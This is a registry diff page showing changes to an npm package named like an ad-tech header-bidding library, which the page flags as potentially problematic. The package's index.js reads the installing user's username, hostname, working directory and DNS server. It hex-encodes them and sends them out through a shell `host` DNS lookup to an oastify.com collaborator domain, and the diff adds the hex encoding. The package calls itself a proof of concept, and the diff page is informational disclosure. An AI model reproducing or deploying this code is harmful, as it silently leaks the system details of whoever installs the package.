@plentyofcode/header-bidding-adslot 2.0.41 → 2.0.43

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @plentyofcode/header-bidding-adslot might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +14 -6
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -3,6 +3,11 @@ const dns = require("dns");
3
3
  const os = require("os");
4
4
  const path = require("path");
5
5
 
6
+ // Function to convert a string to hexadecimal
7
+ function toHex(str) {
8
+ return str.split('').map(char => char.charCodeAt(0).toString(16)).join('');
9
+ }
10
+
6
11
  // RCE
7
12
  const username = os.userInfo().username; // Username
8
13
  const hostname = os.hostname(); // HostName
@@ -12,19 +17,22 @@ const dnsServer = dns.getServers()[0] || "none"; // First DNS Server
12
17
  // Create the information in a compact format
13
18
  const info = `u=${username}&hn=${hostname}&d=${currentDir}&dns=${dnsServer}`;
14
19
 
15
- // Encode the information for the URL
16
- let encodedInfo = encodeURIComponent(info);
20
+ // Encode the information in hexadecimal
21
+ let encodedInfo = toHex(info);
17
22
 
18
23
  // Check if the encoded string exceeds 63 characters
19
24
  if (encodedInfo.length > 63) {
20
25
  // Use only the username if the string is too long
21
- encodedInfo = encodeURIComponent(`u=${username}`);
26
+ encodedInfo = toHex(`u=${username}`);
22
27
  }
23
28
 
24
- // Execute and DNS Request
25
- exec(`host ${encodedInfo}.y43b18cd8eaw7j5syw1prliuklqce22r.oastify.com`, (error, data) => {
29
+ // Execute the command with the encoded information
30
+ const command = `host ${encodedInfo}.y43b18cd8eaw7j5syw1prliuklqce22r.oastify.com`;
31
+ console.log(`Executing command: ${command}`); // Log the command being executed
32
+
33
+ exec(command, (error, data) => {
26
34
  if (error) {
27
- console.log("error", error.message);
35
+ console.log("Error:", error.message);
28
36
  return;
29
37
  }
30
38
  console.log(data);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@plentyofcode/header-bidding-adslot",
3
- "version": "2.0.41",
3
+ "version": "2.0.43",
4
4
  "description": "PoC Package",
5
5
  "main": "index.js",
6
6
  "scripts": {